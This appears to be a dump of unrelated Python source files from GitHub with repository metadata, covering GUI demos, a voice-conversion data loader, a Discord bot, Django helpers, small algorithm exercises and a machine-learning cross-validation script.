zetcode.com \n last edited: July 2014\n \"\"\"\n\n class Example(QtWidgets.QWidget):\n\n def __init__(self):\n super(Example, self).__init__()\n\n self.init_ui()\n\n def init_ui(self):\n\n grid = QtWidgets.QGridLayout()\n self.setLayout(grid)\n\n names = ['Cls', 'Bck', '', 'Close',\n '7', '8', '9', '/',\n '4', '5', '6', '*',\n '1', '2', '3', '-',\n '0', '.', '=', '+']\n\n positions = [(i, j) for i in range(5) for j in range(4)]\n\n for position, name in zip(positions, names):\n\n if name == '':\n continue\n button = QtWidgets.QPushButton(name)\n grid.addWidget(button, *position)\n\n self.move(300, 150)\n self.setWindowTitle('Calculator')\n self.show()\n\n def main():\n app = QtWidgets.QApplication(sys.argv)\n ex = Example()\n sys.exit(app.exec_())\n\n main()\n\nif __name__ == \"__main__\":\n qApp = QtWidgets.QApplication(sys.argv)\n window = Application()\n\n window.show()\n sys.exit(qApp.exec_())\n # test()\n","repo_name":"nwrush/Visualization","sub_path":"Visualizer/frames/QtMatplotlib.py","file_name":"QtMatplotlib.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"} +{"seq_id":"29758649995","text":"import pandas as pd\n\nraw_words = {}\n\ntry:\n raw_words = pd.read_csv(\"data/to_learn.csv\")\nexcept FileNotFoundError:\n raw_words = pd.read_csv(\"data/french_words.csv\")\nfinally:\n words = raw_words.to_dict(orient=\"records\")\n\n\ndef save():\n wordlist = pd.DataFrame(words)\n wordlist.to_csv(\"data/to_learn.csv\", index=False)\n\n\nif __name__ == \"__main__\":\n for pair in words:\n print(pair)\n","repo_name":"pzgawronski/flashcards","sub_path":"wordlist.py","file_name":"wordlist.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2207247496","text":"#id 87593164\n\nreq_actions = {\n '+': lambda a, b: a + b,\n '-': lambda a, b: b - a,\n '*': lambda a, b: a * b,\n '/': lambda a, b: b // a\n}\n\n\nclass Stack:\n def __init__(self):\n self.__items = []\n\n def push(self, item):\n self.__items.append(item)\n\n def pop(self):\n if not self.__items:\n raise IndexError('Stack is empty')\n return self.__items.pop()\n\n\ndef pol_notation(items: list[str]) -> int:\n stack = Stack()\n for item in items:\n if item[-1].isdigit():\n stack.push(item)\n else:\n stack.push(req_actions[item](int(stack.pop()), int(stack.pop())))\n return stack.pop()\n\n\nif __name__ == '__main__':\n items: list[str] = input().split()\n print(pol_notation(items))\n","repo_name":"Tolik-vihodnoi/tasks","sub_path":"poland_notation.py","file_name":"poland_notation.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10873270866","text":"import os\nimport numpy as np\nimport random\nimport torch\nimport torch.utils.data\n\n\nfrom vits.utils import load_wav_to_torch\n\n\ndef load_filepaths(filename, split=\"|\"):\n with open(filename, encoding='utf-8') as f:\n filepaths = [line.strip().split(split) for line in f]\n return filepaths\n\n\nclass TextAudioSpeakerSet(torch.utils.data.Dataset):\n def __init__(self, filename, hparams):\n self.items = load_filepaths(filename)\n self.max_wav_value = hparams.max_wav_value\n self.sampling_rate = hparams.sampling_rate\n self.segment_size = hparams.segment_size\n self.hop_length = hparams.hop_length\n self._filter()\n print(f'----------{len(self.items)}----------')\n\n def _filter(self):\n lengths = []\n items_new = []\n items_min = int(self.segment_size / self.hop_length * 4) # 1 S\n items_max = int(self.segment_size / self.hop_length * 16) # 4 S\n for wavpath, spec, pitch, vec, ppg, spk in self.items:\n if not os.path.isfile(wavpath):\n continue\n if not os.path.isfile(spec):\n continue\n if not os.path.isfile(pitch):\n continue\n if not os.path.isfile(vec):\n continue\n if not os.path.isfile(ppg):\n continue\n if not os.path.isfile(spk):\n continue\n temp = np.load(pitch)\n usel = int(temp.shape[0] - 1) # useful length\n if (usel < items_min):\n continue\n if (usel >= items_max):\n usel = items_max\n items_new.append([wavpath, spec, pitch, vec, ppg, spk, usel])\n lengths.append(usel)\n self.items = items_new\n self.lengths = lengths\n\n def read_wav(self, filename):\n audio, sampling_rate = load_wav_to_torch(filename)\n assert sampling_rate == self.sampling_rate, f\"error: this sample rate of {filename} is {sampling_rate}\"\n audio_norm = audio / self.max_wav_value\n audio_norm = audio_norm.unsqueeze(0)\n return audio_norm\n\n def __getitem__(self, index):\n return self.my_getitem(index)\n\n def __len__(self):\n return len(self.items)\n\n def my_getitem(self, idx):\n item = self.items[idx]\n # print(item)\n wav = item[0]\n spe = item[1]\n pit = item[2]\n vec = item[3]\n ppg = item[4]\n spk = item[5]\n use = item[6]\n\n wav = self.read_wav(wav)\n spe = torch.load(spe)\n\n pit = np.load(pit)\n vec = np.load(vec)\n vec = np.repeat(vec, 2, 0) # 320 PPG -> 160 * 2\n ppg = np.load(ppg)\n ppg = np.repeat(ppg, 2, 0) # 320 PPG -> 160 * 2\n spk = np.load(spk)\n\n pit = torch.FloatTensor(pit)\n vec = torch.FloatTensor(vec)\n ppg = torch.FloatTensor(ppg)\n spk = torch.FloatTensor(spk)\n\n len_pit = pit.size()[0]\n len_vec = vec.size()[0] - 2 # for safe\n len_ppg = ppg.size()[0] - 2 # for safe\n len_min = min(len_pit, len_vec)\n len_min = min(len_min, len_ppg)\n len_wav = len_min * self.hop_length\n\n pit = pit[:len_min]\n vec = vec[:len_min, :]\n ppg = ppg[:len_min, :]\n spe = spe[:, :len_min]\n wav = wav[:, :len_wav]\n if len_min > use:\n max_frame_start = ppg.size(0) - use - 1\n frame_start = random.randint(0, max_frame_start)\n frame_end = frame_start + use\n\n pit = pit[frame_start:frame_end]\n vec = vec[frame_start:frame_end, :]\n ppg = ppg[frame_start:frame_end, :]\n spe = spe[:, frame_start:frame_end]\n\n wav_start = frame_start * self.hop_length\n wav_end = frame_end * self.hop_length\n wav = wav[:, wav_start:wav_end]\n # print(spe.shape)\n # print(wav.shape)\n # print(ppg.shape)\n # print(pit.shape)\n # print(spk.shape)\n return spe, wav, ppg, vec, pit, spk\n\n\nclass TextAudioSpeakerCollate:\n \"\"\"Zero-pads model inputs and targets\"\"\"\n\n def __call__(self, batch):\n # Right zero-pad all one-hot text sequences to max input length\n # mel: [freq, length]\n # wav: [1, length]\n # ppg: [len, 1024]\n # pit: [len]\n # spk: [256]\n _, ids_sorted_decreasing = torch.sort(\n torch.LongTensor([x[0].size(1) for x in batch]), dim=0, descending=True\n )\n\n max_spe_len = max([x[0].size(1) for x in batch])\n max_wav_len = max([x[1].size(1) for x in batch])\n spe_lengths = torch.LongTensor(len(batch))\n wav_lengths = torch.LongTensor(len(batch))\n spe_padded = torch.FloatTensor(\n len(batch), batch[0][0].size(0), max_spe_len)\n wav_padded = torch.FloatTensor(len(batch), 1, max_wav_len)\n spe_padded.zero_()\n wav_padded.zero_()\n\n max_ppg_len = max([x[2].size(0) for x in batch])\n ppg_lengths = torch.FloatTensor(len(batch))\n ppg_padded = torch.FloatTensor(\n len(batch), max_ppg_len, batch[0][2].size(1))\n vec_padded = torch.FloatTensor(\n len(batch), max_ppg_len, batch[0][3].size(1))\n pit_padded = torch.FloatTensor(len(batch), max_ppg_len)\n ppg_padded.zero_()\n vec_padded.zero_()\n pit_padded.zero_()\n spk = torch.FloatTensor(len(batch), batch[0][5].size(0))\n\n for i in range(len(ids_sorted_decreasing)):\n row = batch[ids_sorted_decreasing[i]]\n\n spe = row[0]\n spe_padded[i, :, : spe.size(1)] = spe\n spe_lengths[i] = spe.size(1)\n\n wav = row[1]\n wav_padded[i, :, : wav.size(1)] = wav\n wav_lengths[i] = wav.size(1)\n\n ppg = row[2]\n ppg_padded[i, : ppg.size(0), :] = ppg\n ppg_lengths[i] = ppg.size(0)\n\n vec = row[3]\n vec_padded[i, : vec.size(0), :] = vec\n\n pit = row[4]\n pit_padded[i, : pit.size(0)] = pit\n\n spk[i] = row[5]\n # print(ppg_padded.shape)\n # print(ppg_lengths.shape)\n # print(pit_padded.shape)\n # print(spk.shape)\n # print(spe_padded.shape)\n # print(spe_lengths.shape)\n # print(wav_padded.shape)\n # print(wav_lengths.shape)\n return (\n ppg_padded,\n ppg_lengths,\n vec_padded,\n pit_padded,\n spk,\n spe_padded,\n spe_lengths,\n wav_padded,\n wav_lengths,\n )\n\n\nclass DistributedBucketSampler(torch.utils.data.distributed.DistributedSampler):\n \"\"\"\n Maintain similar input lengths in a batch.\n Length groups are specified by boundaries.\n Ex) boundaries = [b1, b2, b3] -> any batch is included either {x | b1 < length(x) <=b2} or {x | b2 < length(x) <= b3}.\n It removes samples which are not included in the boundaries.\n Ex) boundaries = [b1, b2, b3] -> any x s.t. length(x) <= b1 or length(x) > b3 are discarded.\n \"\"\"\n\n def __init__(\n self,\n dataset,\n batch_size,\n boundaries,\n num_replicas=None,\n rank=None,\n shuffle=True,\n ):\n super().__init__(dataset, num_replicas=num_replicas, rank=rank, shuffle=shuffle)\n self.lengths = dataset.lengths\n self.batch_size = batch_size\n self.boundaries = boundaries\n\n self.buckets, self.num_samples_per_bucket = self._create_buckets()\n self.total_size = sum(self.num_samples_per_bucket)\n self.num_samples = self.total_size // self.num_replicas\n\n def _create_buckets(self):\n buckets = [[] for _ in range(len(self.boundaries) - 1)]\n for i in range(len(self.lengths)):\n length = self.lengths[i]\n idx_bucket = self._bisect(length)\n if idx_bucket != -1:\n buckets[idx_bucket].append(i)\n\n for i in range(len(buckets) - 1, 0, -1):\n if len(buckets[i]) == 0:\n buckets.pop(i)\n self.boundaries.pop(i + 1)\n\n num_samples_per_bucket = []\n for i in range(len(buckets)):\n len_bucket = len(buckets[i])\n total_batch_size = self.num_replicas * self.batch_size\n rem = (\n total_batch_size - (len_bucket % total_batch_size)\n ) % total_batch_size\n num_samples_per_bucket.append(len_bucket + rem)\n return buckets, num_samples_per_bucket\n\n def __iter__(self):\n # deterministically shuffle based on epoch\n g = torch.Generator()\n g.manual_seed(self.epoch)\n\n indices = []\n if self.shuffle:\n for bucket in self.buckets:\n indices.append(torch.randperm(\n len(bucket), generator=g).tolist())\n else:\n for bucket in self.buckets:\n indices.append(list(range(len(bucket))))\n\n batches = []\n for i in range(len(self.buckets)):\n bucket = self.buckets[i]\n len_bucket = len(bucket)\n if (len_bucket == 0):\n continue\n ids_bucket = indices[i]\n num_samples_bucket = self.num_samples_per_bucket[i]\n\n # add extra samples to make it evenly divisible\n rem = num_samples_bucket - len_bucket\n ids_bucket = (\n ids_bucket\n + ids_bucket * (rem // len_bucket)\n + ids_bucket[: (rem % len_bucket)]\n )\n\n # subsample\n ids_bucket = ids_bucket[self.rank:: self.num_replicas]\n\n # batching\n for j in range(len(ids_bucket) // self.batch_size):\n batch = [\n bucket[idx]\n for idx in ids_bucket[\n j * self.batch_size: (j + 1) * self.batch_size\n ]\n ]\n batches.append(batch)\n\n if self.shuffle:\n batch_ids = torch.randperm(len(batches), generator=g).tolist()\n batches = [batches[i] for i in batch_ids]\n self.batches = batches\n\n assert len(self.batches) * self.batch_size == self.num_samples\n return iter(self.batches)\n\n def _bisect(self, x, lo=0, hi=None):\n if hi is None:\n hi = len(self.boundaries) - 1\n\n if hi > lo:\n mid = (hi + lo) // 2\n if self.boundaries[mid] < x and x <= self.boundaries[mid + 1]:\n return mid\n elif x <= self.boundaries[mid]:\n return self._bisect(x, lo, mid)\n else:\n return self._bisect(x, mid + 1, hi)\n else:\n return -1\n\n def __len__(self):\n return self.num_samples // self.batch_size\n","repo_name":"PlayVoice/so-vits-svc-5.0","sub_path":"vits/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":10745,"program_lang":"python","lang":"en","doc_type":"code","stars":1994,"dataset":"github-code","pt":"18"} +{"seq_id":"30677505405","text":"import discord\nfrom discord.ext import commands\nimport io\nimport textwrap\nimport os\nimport traceback\nfrom contextlib import redirect_stdout\nfrom Admin.admin import Files\nintents = discord.Intents().default()\nintents.members = True\nbot = commands.Bot(command_prefix=Files.config(\"main\",\"prefix\"), intents=intents, case_insensitive=True, owner_ids=Files.config(\"main\", \"managers\"))\nbot.remove_command(\"help\")\n\n\ndef is_owner():\n def predicate(ctx):\n return ctx.author.id in bot.owner_ids\n return commands.check(predicate)\n\n@is_owner()\n@bot.command(aliases=[\"e\"])\nasync def eval(ctx, *, body: str):\n raw = False\n \"\"\"Evaluates a code\"\"\"\n\n env = {\n 'bot': bot,\n 'ctx': ctx,\n 'channel': ctx.message.channel,\n 'author': ctx.message.author,\n 'guild': ctx.message.guild,\n 'message': ctx.message,\n }\n env.update(globals())\n\n stdout = io.StringIO()\n\n to_compile = f'async def func():\\n{textwrap.indent(body, \" \")}'\n\n try:\n exec(to_compile, env)\n except Exception as e:\n return await ctx.send(f'```py\\n{e.__class__.__name__}: {e}\\n```')\n\n func = env['func']\n try:\n with redirect_stdout(stdout):\n ret = await func()\n except Exception:\n value = stdout.getvalue()\n await ctx.send(f'```py\\n{value}{traceback.format_exc()}\\n```')\n else:\n value = stdout.getvalue()\n try:\n await ctx.message.add_reaction('\\u2705')\n except:\n pass\n\n if ret is None:\n if value:\n if raw:\n await ctx.send(f\"{value}\")\n else:\n await ctx.send(f'```py\\n{value}\\n```')\n else:\n pass\n\n@bot.event\nasync def on_ready():\n print(\"Bot is ready!\")\n await bot.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name=\"over BytesToBits\"))\n\n@is_owner()\n@bot.command(hidden=True)\nasync def load(ctx, *, module):\n try:\n bot.load_extension(f\"cogs.{module}\")\n except commands.ExtensionError as e:\n await ctx.send(f'{e.__class__.__name__}: {e}')\n else:\n embed=discord.Embed(title=f\"Loaded {str(module).capitalize()}\", description=f\"Successfully loaded cogs.{str(module).lower()}!\", color=0x2cf818)\n await ctx.send(embed=embed)\n\n@is_owner()\n@bot.command(hidden=True)\nasync def unload(ctx, *, module):\n try:\n bot.unload_extension(f\"cogs.{module}\")\n except commands.ExtensionError as e:\n await ctx.send(f'{e.__class__.__name__}: {e}')\n else:\n embed=discord.Embed(title=f\"Unloaded {str(module).capitalize()}\", description=f\"Successfully unloaded cogs.{str(module).lower()}!\", color=0xeb1b2c)\n await ctx.send(embed=embed)\n\n@is_owner()\n@bot.command(name=\"reload\")\nasync def _reload(ctx, *, module):\n try:\n bot.reload_extension(f\"cogs.{module}\")\n except commands.ExtensionError as e:\n await ctx.send(f'{e.__class__.__name__}: {e}')\n else:\n embed=discord.Embed(title=f\"Reloaded {str(module).capitalize()}\", description=f\"Successfully reloaded cogs.{str(module).lower()}!\", color=0x00d4ff)\n await ctx.send(embed=embed)\n\nfor i in os.listdir(\"cogs\"):\n if i == \"staff\": pass\n else:\n cog = i[:-3]\n try:\n bot.load_extension(f\"cogs.{cog}\")\n print(f\"Loaded Main.{cog}\")\n except Exception as e:\n print(e)\n \nbot.run(Files.config(\"main\", \"token\"))\n","repo_name":"rockoj/BytesBump","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70248596840","text":"from django.db import models\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core.paginator import Paginator, EmptyPage\n\n\ndef fattr(*args, **kwargs):\n\t\"\"\"\n\tReturns a wrapper which takes a function as its only argument and sets the key/value pairs passed in with kwargs as attributes on that function. This can be used as a decorator.\n\t\n\tExample::\n\t\n\t\t>>> from philo.utils import fattr\n\t\t>>> @fattr(short_description=\"Hello World!\")\n\t\t... def x():\n\t\t... pass\n\t\t... \n\t\t>>> x.short_description\n\t\t'Hello World!'\n\t\n\t\"\"\"\n\tdef wrapper(function):\n\t\tfor key in kwargs:\n\t\t\tsetattr(function, key, kwargs[key])\n\t\treturn function\n\treturn wrapper\n\n\n### ContentTypeLimiters\n\n\nclass ContentTypeLimiter(object):\n\tdef q_object(self):\n\t\treturn models.Q(pk__in=[])\n\t\n\tdef add_to_query(self, query, *args, **kwargs):\n\t\tquery.add_q(self.q_object(), *args, **kwargs)\n\n\nclass ContentTypeRegistryLimiter(ContentTypeLimiter):\n\t\"\"\"Can be used to limit the choices for a :class:`ForeignKey` or :class:`ManyToManyField` to the :class:`ContentType`\\ s which have been registered with this limiter.\"\"\"\n\tdef __init__(self):\n\t\tself.classes = []\n\t\n\tdef register_class(self, cls):\n\t\t\"\"\"Registers a model class with this limiter.\"\"\"\n\t\tself.classes.append(cls)\n\t\n\tdef unregister_class(self, cls):\n\t\t\"\"\"Unregisters a model class from this limiter.\"\"\"\n\t\tself.classes.remove(cls)\n\t\n\tdef q_object(self):\n\t\tcontenttype_pks = []\n\t\tfor cls in self.classes:\n\t\t\ttry:\n\t\t\t\tif issubclass(cls, models.Model):\n\t\t\t\t\tif not cls._meta.abstract:\n\t\t\t\t\t\tcontenttype = ContentType.objects.get_for_model(cls)\n\t\t\t\t\t\tcontenttype_pks.append(contenttype.pk)\n\t\t\texcept:\n\t\t\t\tpass\n\t\treturn models.Q(pk__in=contenttype_pks)\n\n\nclass ContentTypeSubclassLimiter(ContentTypeLimiter):\n\t\"\"\"\n\tCan be used to limit the choices for a :class:`ForeignKey` or :class:`ManyToManyField` to the :class:`ContentType`\\ s for all non-abstract models which subclass the class passed in on instantiation.\n\t\n\t:param cls: The class whose non-abstract subclasses will be valid choices.\n\t:param inclusive: Whether ``cls`` should also be considered a valid choice (if it is a non-abstract subclass of :class:`models.Model`)\n\t\n\t\"\"\"\n\tdef __init__(self, cls, inclusive=False):\n\t\tself.cls = cls\n\t\tself.inclusive = inclusive\n\t\n\tdef q_object(self):\n\t\tcontenttype_pks = []\n\t\tdef handle_subclasses(cls):\n\t\t\tfor subclass in cls.__subclasses__():\n\t\t\t\ttry:\n\t\t\t\t\tif issubclass(subclass, models.Model):\n\t\t\t\t\t\tif not subclass._meta.abstract:\n\t\t\t\t\t\t\tif not self.inclusive and subclass is self.cls:\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\tcontenttype = ContentType.objects.get_for_model(subclass)\n\t\t\t\t\t\t\tcontenttype_pks.append(contenttype.pk)\n\t\t\t\t\thandle_subclasses(subclass)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\thandle_subclasses(self.cls)\n\t\treturn models.Q(pk__in=contenttype_pks)\n\n\n### Pagination\n\n\ndef paginate(objects, per_page=None, page_number=1):\n\t\"\"\"\n\tGiven a list of objects, return a (``paginator``, ``page``, ``objects``) tuple.\n\t\n\t:param objects: The list of objects to be paginated.\n\t:param per_page: The number of objects per page.\n\t:param page_number: The number of the current page.\n\t:returns tuple: (``paginator``, ``page``, ``objects``) where ``paginator`` is a :class:`django.core.paginator.Paginator` instance, ``page`` is the result of calling :meth:`Paginator.page` with ``page_number``, and objects is ``page.objects``. Any of the return values which can't be calculated will be returned as ``None``.\n\t\n\t\"\"\"\n\ttry:\n\t\tper_page = int(per_page)\n\texcept (TypeError, ValueError):\n\t\t# Then either it wasn't set or it was set to an invalid value\n\t\tpaginator = page = None\n\telse:\n\t\t# There also shouldn't be pagination if the list is too short. Try count()\n\t\t# first - good chance it's a queryset, where count is more efficient.\n\t\ttry:\n\t\t\tif objects.count() <= per_page:\n\t\t\t\tpaginator = page = None\n\t\texcept AttributeError:\n\t\t\tif len(objects) <= per_page:\n\t\t\t\tpaginator = page = None\n\t\n\ttry:\n\t\treturn paginator, page, objects\n\texcept NameError:\n\t\tpass\n\t\n\tpaginator = Paginator(objects, per_page)\n\ttry:\n\t\tpage_number = int(page_number)\n\texcept:\n\t\tpage_number = 1\n\t\n\ttry:\n\t\tpage = paginator.page(page_number)\n\texcept EmptyPage:\n\t\tpage = None\n\telse:\n\t\tobjects = page.object_list\n\t\n\treturn paginator, page, objects","repo_name":"ithinksw/philo","sub_path":"philo/utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"18"} +{"seq_id":"9698841080","text":"class Solution:\n max_int = 2147483647\n min_int = -2147483648\n\n def myAtoi(self, s: str) -> int:\n s = s.strip()\n sign = 1\n if not s:\n return 0\n if not s[0].isdigit() and s[0] not in \"+-\":\n return 0\n if s[0] == \"+\":\n s = s[1:]\n elif s[0] == \"-\":\n s = s[1:]\n sign = -1\n result = \"\"\n for char in s:\n if char.isdigit():\n result += char\n else:\n if result:\n interim = int(result) * sign if result else 0\n return max(min(interim, self.max_int), self.min_int)\n else:\n return 0\n interim = int(result) * sign if result else 0\n return max(min(interim, self.max_int), self.min_int)\n\n\nif __name__ == '__main__':\n solution = Solution()\n print(solution.myAtoi(\"74859jfth\"))\n print(solution.myAtoi(\" -74\"))\n print(solution.myAtoi(\"+876\"))\n","repo_name":"manokhina/coding-challenges","sub_path":"custom/atoi.py","file_name":"atoi.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26122124905","text":"__author__ = 'hungtantran'\r\n\r\n\r\nimport threading\r\n\r\nimport logger\r\nimport models.ServiceQuery\r\n\r\nimport thrift.transport.TSocket\r\nimport thrift.transport.TTransport\r\nimport thrift.protocol.TBinaryProtocol\r\nimport thrift.server.TServer\r\n\r\n\r\nclass ThriftIndexServer(object):\r\n def __init__(self, host, port, handler):\r\n logger.Logger.log(\r\n logger.LogLevel.INFO,\r\n 'Start index server %s at %s:%s' % (handler.get_service_name(), host, port))\r\n self.host = host\r\n self.port = port\r\n self.handler = handler\r\n\r\n def __enter__(self):\r\n processor = models.ServiceQuery.Processor(self.handler)\r\n transport = thrift.transport.TSocket.TServerSocket(host=self.host, port=self.port)\r\n tfactory = thrift.transport.TTransport.TBufferedTransportFactory()\r\n pfactory = thrift.protocol.TBinaryProtocol.TBinaryProtocolFactory()\r\n\r\n self.server = thrift.server.TServer.TSimpleServer(processor, transport, tfactory, pfactory)\r\n\r\n return self\r\n\r\n def serve(self):\r\n self.server.serve()\r\n\r\n def __exit__(self, exc_type, exc_val, exc_tb):\r\n logger.Logger.log(logger.LogLevel.INFO, 'Server exit with type %s, val %s, traceback %s' % (\r\n exc_type, exc_val, exc_tb))\r\n\r\n\r\nclass RPCIndexServer(threading.Thread):\r\n def __init__(self, handler):\r\n threading.Thread.__init__(self)\r\n self.handler = handler\r\n\r\n def run(self):\r\n with ThriftIndexServer('localhost', 9090, self.handler) as server:\r\n server.serve()","repo_name":"hungtantran/Findata","sub_path":"QueryService/thrift_index_server.py","file_name":"thrift_index_server.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40509579217","text":"# ! /usr/bin/python3\r\n# -*- coding = utf-8 -*-\r\n\r\nimport re\r\nimport os\r\n\r\nclinvar = \"variant_summary.txt\"\r\nfile = open('mutation2.txt', 'w+')\r\ng = open('genes.txt', 'r')\r\ngene = g.read()\r\ngenes = gene.split('\\n')\r\ngenes = sorted(genes)\r\n\r\nwith open(clinvar, 'r') as f:\r\n\tfor line in f:\r\n\t\tline = line.strip()\r\n\t\tarray = line.split('\\t')\r\n\t\tfor i in genes:\r\n\t\t\tif i in array:\r\n\t\t\t\tfile.write(i+'\\t'+array[2]+'\\n')\r\n\t\t\t\tprint(i)\r\n\t\t\t\r\nfile.close()\r\n\r\n\r\n","repo_name":"JMCinJiangSu/clinvar","sub_path":"newmut.py","file_name":"newmut.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21476454720","text":"def divisors(n):\n '''\n Given some number n, return a set of all the numbers that divide it. For example:\n >>> divisors(12)\n {1, 2, 3, 4, 6, 12}\n\n Params:\n n (int): The operand\n\n Returns:\n (set of int): All the divisors of n\n\n Raises:\n ValueError: If n is not a positive integer\n '''\n if type(n) is not int and n <= 0: \n raise ValueError(\"n is not ap positive integer\")\n\n a = 1\n while True:\n if a > n: \n return \n if n % a == 0:\n yield a \n a = a + 1\n\nif __name__ == \"__main__\": \n print(set(divisors(-2)))","repo_name":"eelizac/Software-Fundamentals-Work","sub_path":"examprep/divisors.py","file_name":"divisors.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70043594279","text":"answer = \"Y\"\n\nwhile answer == \"Y\" or answer == \"y\":\n print(\"Enter a positive number lower than 10\")\n\n string_Number = input()\n number = int(string_Number)\n\n while number >= 10 or number < 0:\n print(\"This number is invalid!\")\n print(\"Enter a positive number lower than 10\")\n string_Number = input()\n number = int(string_Number)\n\n if number < 9:\n number += 1\n print(str(number) + \" I win!\")\n elif number == 9:\n print(\"You win!\")\n\n print(\"Would you like to play again?\")\n answer = input()\n\nprint(\"Thanks for playing!\")\n","repo_name":"IPsychoticEnder/Software","sub_path":"weekOne/TheHighIqGame/highIqGame.py","file_name":"highIqGame.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41839805666","text":"# coding=utf-8\n# 代码文件：chapter19/ch19.9.py\n\nimport wx\nimport wx.grid\n\n\n# 自定义窗口类MyFrame\nclass MyFrame(wx.Frame):\n def __init__(self):\n super().__init__(parent=None, title='使用工具栏', size=(550, 500))\n self.Centre() # 设置窗口居中\n self.Show(True)\n\n self.text = wx.TextCtrl(self, -1, style=wx.EXPAND | wx.TE_MULTILINE)\n vbox = wx.BoxSizer(wx.VERTICAL)\n vbox.Add(self.text, proportion=1, flag=wx.EXPAND | wx.ALL, border=1)\n self.SetSizer(vbox)\n\n menubar = wx.MenuBar()\n\n file_menu = wx.Menu()\n new_item = wx.MenuItem(file_menu, wx.ID_NEW, text=\"新建\", kind=wx.ITEM_NORMAL)\n file_menu.Append(new_item)\n file_menu.AppendSeparator()\n\n edit_menu = wx.Menu()\n copy_item = wx.MenuItem(edit_menu, 100, text=\"复制\", kind=wx.ITEM_NORMAL)\n edit_menu.Append(copy_item)\n\n cut_item = wx.MenuItem(edit_menu, 101, text=\"剪切\", kind=wx.ITEM_NORMAL)\n edit_menu.Append(cut_item)\n\n paste_item = wx.MenuItem(edit_menu, 102, text=\"粘贴\", kind=wx.ITEM_NORMAL)\n edit_menu.Append(paste_item)\n\n file_menu.Append(wx.ID_ANY, \"编辑\", edit_menu)\n\n menubar.Append(file_menu, '文件')\n self.SetMenuBar(menubar)\n\n tb = wx.ToolBar(self, wx.ID_ANY)\n self.ToolBar = tb\n tsize = (24, 24)\n new_bmp = wx.ArtProvider.GetBitmap(wx.ART_NEW, wx.ART_TOOLBAR, tsize)\n open_bmp = wx.ArtProvider.GetBitmap(wx.ART_FILE_OPEN, wx.ART_TOOLBAR, tsize)\n copy_bmp = wx.ArtProvider.GetBitmap(wx.ART_COPY, wx.ART_TOOLBAR, tsize)\n paste_bmp = wx.ArtProvider.GetBitmap(wx.ART_PASTE, wx.ART_TOOLBAR, tsize)\n\n tb.AddTool(10, \"New\", new_bmp, kind=wx.ITEM_NORMAL, shortHelp=\"New\")\n tb.AddTool(20, \"Open\", open_bmp, kind=wx.ITEM_NORMAL, shortHelp=\"Open\")\n tb.AddSeparator()\n tb.AddTool(30, \"Copy\", copy_bmp, kind=wx.ITEM_NORMAL, shortHelp=\"Copy\")\n tb.AddTool(40, \"Paste\", paste_bmp, kind=wx.ITEM_NORMAL, shortHelp=\"Paste\")\n tb.AddSeparator()\n\n tb.AddTool(201, \"back\", wx.Bitmap(\"menu_icon/back.png\"), kind=wx.ITEM_NORMAL, shortHelp=\"Back\")\n tb.AddTool(202, \"forward\", wx.Bitmap(\"menu_icon/forward.png\"), kind=wx.ITEM_NORMAL, shortHelp=\"Forward\")\n self.Bind(wx.EVT_MENU, self.on_click, id=201, id2=202)\n tb.AddSeparator()\n\n tb.Realize()\n\n def on_click(self, event):\n event_id = event.GetId()\n if event_id == 201:\n self.text.SetLabel('单击【Back】按钮')\n else:\n self.text.SetLabel('单击【Forward】按钮')\n\n\nclass App(wx.App):\n\n def OnInit(self):\n # 创建窗口对象\n frame = MyFrame()\n frame.Show()\n return True\n\n\nif __name__ == '__main__':\n app = App()\n app.MainLoop() # 进入主事件循环\n","repo_name":"tonyguan/python1","sub_path":"code/chapter19/ch19.9.py","file_name":"ch19.9.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"18"} +{"seq_id":"4762535059","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom GaussianNB import classify\nfrom DecisionTree import classifyDT\nfrom SVMcl import classify_SVM\nfrom RandomForest import RFclassify\nimport matplotlib.patches as mpatches\nfrom sklearn.cross_validation import StratifiedKFold\nfrom sklearn import cross_validation\nimport pandas as pd\n\n\ndef kfoldCV (X, y):\n kf = StratifiedKFold(y,n_folds=5)\n y = np.asarray(y)\n baba = []\n NB = []\n DT = []\n RF = []\n SVM = []\n #make training and testing datasets\n for train_index, test_index in kf:\n X_train, X_test = X.loc[train_index], X.loc[test_index]\n y_train, y_test = y[train_index], y[test_index]\n AccuracyNB = classify(X_train,y_train,X_test,y_test)\n AccuracyDT = classifyDT(X_train,y_train,X_test,y_test)\n AccuracySVM = classify_SVM(X_train,y_train,X_test,y_test)\n AccuracyRF = RFclassify(X_train,y_train,X_test,y_test)\n NB.append(AccuracyNB)\n DT.append(AccuracyDT)\n RF.append(AccuracyRF)\n SVM.append(AccuracySVM)\n baba.append(NB)\n baba.append(DT)\n baba.append(RF)\n baba.append(SVM)\n df = pd.DataFrame(baba, index=['NB','DT', 'RF','SVM'])\n 